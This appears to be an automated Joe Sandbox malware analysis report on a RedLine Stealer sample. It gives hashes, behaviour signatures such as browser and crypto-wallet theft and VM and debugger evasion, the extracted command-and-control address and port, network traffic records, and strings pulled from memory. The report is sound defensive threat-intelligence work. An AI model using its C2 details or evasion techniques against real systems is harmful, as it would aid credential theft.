Joe Sandbox Cloud Basic Analysis Report

Loading ...

Play interactive tourEdit tour

Windows Analysis Report WXekVwRNtG.exe

Overview

General Information

Sample Name:WXekVwRNtG.exe
Analysis ID:490256
MD5:04b456ff36412c84821b0e945c24bc71
SHA1:640aec31c2ac988d7bc2ba39accd1399d68c7e48
SHA256:a7e4f1da0530887fb3c60141d8263cc9c92474067f9f8c6b9b65633a72bd87ce
Tags:exeRedLineStealer
Infos:

Most interesting Screenshot:

Detection

RedLine
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Yara detected RedLine Stealer
Found malware configuration
Multi AV Scanner detection for submitted file
Detected unpacking (overwrites its own PE header)
Detected unpacking (changes PE section rights)
Tries to steal Crypto Currency Wallets
Machine Learning detection for sample
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Tries to harvest and steal browser information (history, passwords, etc)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query locales information (e.g. system language)
May sleep (evasive loops) to hinder dynamic analysis
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Enables debug privileges
Is looking for software installed on the system
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
Contains functionality to read the PEB
Detected TCP or UDP traffic on non-standard ports
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Classification

Process Tree

  • System is w10x64
  • WXekVwRNtG.exe (PID: 4660 cmdline: 'C:\Users\user\Desktop\WXekVwRNtG.exe' MD5: 04B456FF36412C84821B0E945C24BC71)
    • conhost.exe (PID: 4344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • cleanup

Malware Configuration

Threatname: RedLine

{"C2 url": ["91.142.77.155:5469"], "Bot Id": "10k ruzki2"}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000000.00000002.380597703.0000000002190000.00000004.00020000.sdmpJoeSecurity_RedLineYara detected RedLine StealerJoe Security
    00000000.00000002.380786166.000000000223C000.00000004.00000001.sdmpJoeSecurity_RedLineYara detected RedLine StealerJoe Security
      00000000.00000002.384818345.0000000003575000.00000004.00000001.sdmpJoeSecurity_RedLineYara detected RedLine StealerJoe Security
        00000000.00000003.290918132.00000000005BB000.00000004.00000001.sdmpJoeSecurity_RedLineYara detected RedLine StealerJoe Security
          00000000.00000002.385834535.00000000049F0000.00000004.00020000.sdmpJoeSecurity_RedLineYara detected RedLine StealerJoe Security
            Click to see the 1 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            0.2.WXekVwRNtG.exe.2190ee8.3.raw.unpackJoeSecurity_RedLineYara detected RedLine StealerJoe Security
              0.2.WXekVwRNtG.exe.227c9d6.5.raw.unpackJoeSecurity_RedLineYara detected RedLine StealerJoe Security
                0.2.WXekVwRNtG.exe.227d8be.4.unpackJoeSecurity_RedLineYara detected RedLine StealerJoe Security
                  0.2.WXekVwRNtG.exe.2190000.2.unpackJoeSecurity_RedLineYara detected RedLine StealerJoe Security
                    0.2.WXekVwRNtG.exe.227c9d6.5.unpackJoeSecurity_RedLineYara detected RedLine StealerJoe Security
                      Click to see the 7 entries

                      Sigma Overview

                      No Sigma rule has matched

                      Jbx Signature Overview

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection:

                      barindex
                      Found malware configurationShow sources
                      Source: 0.2.WXekVwRNtG.exe.227c9d6.5.raw.unpackMalware Configuration Extractor: RedLine {"C2 url": ["91.142.77.155:5469"], "Bot Id": "10k ruzki2"}
                      Multi AV Scanner detection for submitted fileShow sources
                      Source: WXekVwRNtG.exeVirustotal: Detection: 72%Perma Link
                      Source: WXekVwRNtG.exeMetadefender: Detection: 34%Perma Link
                      Source: WXekVwRNtG.exeReversingLabs: Detection: 92%
                      Machine Learning detection for sampleShow sources
                      Source: WXekVwRNtG.exeJoe Sandbox ML: detected

                      Compliance:

                      barindex
                      Detected unpacking (overwrites its own PE header)Show sources
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeUnpacked PE file: 0.2.WXekVwRNtG.exe.400000.0.unpack
                      Source: WXekVwRNtG.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeFile opened: C:\Windows\SysWOW64\msvcr100.dllJump to behavior
                      Source: Binary string: C:\gataho semup\dozejayanayeja\sos41\cazuronavatopu\salip.pdblvBDGB source: WXekVwRNtG.exe
                      Source: Binary string: C:\gataho semup\dozejayanayeja\sos41\cazuronavatopu\salip.pdb source: WXekVwRNtG.exe
                      Source: Binary string: _.pdb source: WXekVwRNtG.exe, 00000000.00000002.380597703.0000000002190000.00000004.00020000.sdmp
                      Source: Joe Sandbox ViewASN Name: VTSL1-ASRU VTSL1-ASRU
                      Source: global trafficTCP traffic: 192.168.2.3:49743 -> 91.142.77.155:5469
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: unknownTCP traffic detected without corresponding DNS query: 91.142.77.155
                      Source: WXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmpString found in binary or memory: 6m9https://www.facebook.com/chat/video/videocalldownload.php equals www.facebook.com (Facebook)
                      Source: WXekVwRNtG.exe, 00000000.00000002.381571018.0000000002748000.00000004.00000001.sdmpString found in binary or memory: ium PDF Plugin","versions":[{"comment":"Chromium PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"divx-player":{"group_name_matcher":"*DivX Web Player*","help_url":"https://support.google.com/chrome/?p=plugin_divx","lang":"en-US","mime_types":["video/divx","video/x-matroska"],"name":"DivX Web Player","url":"http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe","versions":[{"status":"requires_authorization","version":"1.4.3.4"}]},"facebook-video-calling":{"group_name_matcher":"*Facebook Video*","lang":"en-US","mime_types":["application/skypesdk-plugin"],"name":"Facebook Video Calling","url":"https://www.facebook.com/chat/video/videocalldownload.php","versions":[{"comment":"We do not track version information for the Facebook Video Calling Plugin.","status":"requires_authorization","version":"0"}]},"google-chrome-pdf":{"group_name_matcher":"*Chrome PDF Viewer*","mime_types":[],"name":"Chrome PDF Viewer","versions":[{"comment":"Google Chrome PDF Viewer has no version information.","status":"fully_trusted","version":"0"}]},"google-chrome-pdf-plugin":{"group_name_matcher":"*Chrome PDF Plugin*","mime_types":[],"name":"Chrome PDF Plugin","versions":[{"comment":"Google Chrome PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"google-earth":{"group_name_matcher":"*Google Earth*","lang":"en-US","mime_types":["application/geplugin"],"name":"Google Earth","url":"http://www.google.com/earth/explore/products/plugin.html","versions":[{"comment":"We do not track version information for the Google Earth Plugin.","status":"requires_authorization","version":"0"}]},"google-talk":{"group_name_matcher":"*Google Talk*","mime_types":[],"name":"Google Talk","versions":[{"comment":"'Google Talk Plugin' and 'Google Talk Plugin Video Accelerator' use two completely different versioning schemes, so we can't define a minimum version.","status":"requires_authorization","version":"0"}]},"google-update":{"group_name_matcher":"Google Update","mime-types":[],"name":"Google Update","versions":[{"comment":"Google Update plugin is versioned but kept automatically up to date","status":"requires_authorization","version":"0"}]},"ibm-java-runtime-environment":{"group_name_matcher":"*IBM*Java*","mime_types":["application/x-java-applet","application/x-java-applet;jpi-version=1.7.0_05","application/x-java-applet;version=1.1","application/x-java-applet;version=1.1.1","application/x-java-applet;version=1.1.2","application/x-java-applet;version=1.1.3","application/x-java-applet;version=1.2","application/x-java-applet;version=1.2.1","application/x-java-applet;version=1.2.2","application/x-java-applet;version=1.3","application/x-java-applet;version=1.3.1","application/x-java-applet;version=1.4","application/x-java-applet;version=1.4.1","application/x-java-applet;version=1.4.2","application/x-java-applet;version=1.5","application/x-java-applet;version=1.6","application/x-java-applet;version=1.7","application/x-java
                      Source: WXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmpString found in binary or memory: http://appldnld.apple.com/QuickTime/041-3089.20111026.Sxpr4/QuickTimeInstaller.exe
                      Source: WXekVwRNtG.exe, 00000000.00000002.387408264.0000000007057000.00000004.00000001.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-rx/wsrm/200702
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-rx/wsrm/200702/AckRequested
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-rx/wsrm/200702/CloseSequence
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-rx/wsrm/200702/CloseSequenceResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-rx/wsrm/200702/CreateSequence
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-rx/wsrm/200702/CreateSequenceResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-rx/wsrm/200702/SequenceAcknowledgement
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-rx/wsrm/200702/TerminateSequence
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-rx/wsrm/200702/TerminateSequenceResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-rx/wsrm/200702/fault
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-secureconversation/200512
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-secureconversation/200512/dk
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-secureconversation/200512/dk/p_sha1$
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-secureconversation/200512/sct
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512#BinarySecret
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512/AsymmetricKey
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512/Bearer
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512/CK/PSHA1
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512/Cancel
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512/Issue
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512/Nonce
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512/PublicKey
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/Cancel
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/Issue
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/Renew
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/SCT
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/SCT/Cancel
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/SCT/Renew
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTR/Cancel
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTR/CancelFinal
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTR/Issue
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTR/Renew
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTR/RenewFinal
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTR/SCT
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTR/SCT/Cancel
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTR/SCT/Renew
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTRC/IssueFinal
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512/Renew
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512/SymmetricKey
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-tx/wsat/2006/06
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-tx/wsat/2006/06/Aborted
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-tx/wsat/2006/06/Commit
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-tx/wsat/2006/06/Committed
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-tx/wsat/2006/06/Completion
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-tx/wsat/2006/06/Durable2PC
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-tx/wsat/2006/06/Prepare
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-tx/wsat/2006/06/Prepared
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-tx/wsat/2006/06/ReadOnly
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-tx/wsat/2006/06/Replay
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-tx/wsat/2006/06/Rollback
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-tx/wsat/2006/06/Volatile2PC
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-tx/wsat/2006/06/fault
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-tx/wscoor/2006/06
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-tx/wscoor/2006/06/CreateCoordinationContext
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-tx/wscoor/2006/06/CreateCoordinationContextResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-tx/wscoor/2006/06/Register
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-tx/wscoor/2006/06/RegisterResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-tx/wscoor/2006/06/fault
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
                      Source: WXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmp, WXekVwRNtG.exe, 00000000.00000002.381571018.0000000002748000.00000004.00000001.sdmpString found in binary or memory: http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe
                      Source: WXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmpString found in binary or memory: http://forms.rea
                      Source: WXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmpString found in binary or memory: http://forms.real.com/real/realone/download.html?type=rpsp_us
                      Source: WXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmp, WXekVwRNtG.exe, 00000000.00000002.381571018.0000000002748000.00000004.00000001.sdmpString found in binary or memory: http://fpdownload.macromedia.com/get/shockwave/default/english/win95nt/latest/Shockwave_Installer_Sl
                      Source: WXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmpString found in binary or memory: http://go.micros
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.datacontract.org/2004/07/
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
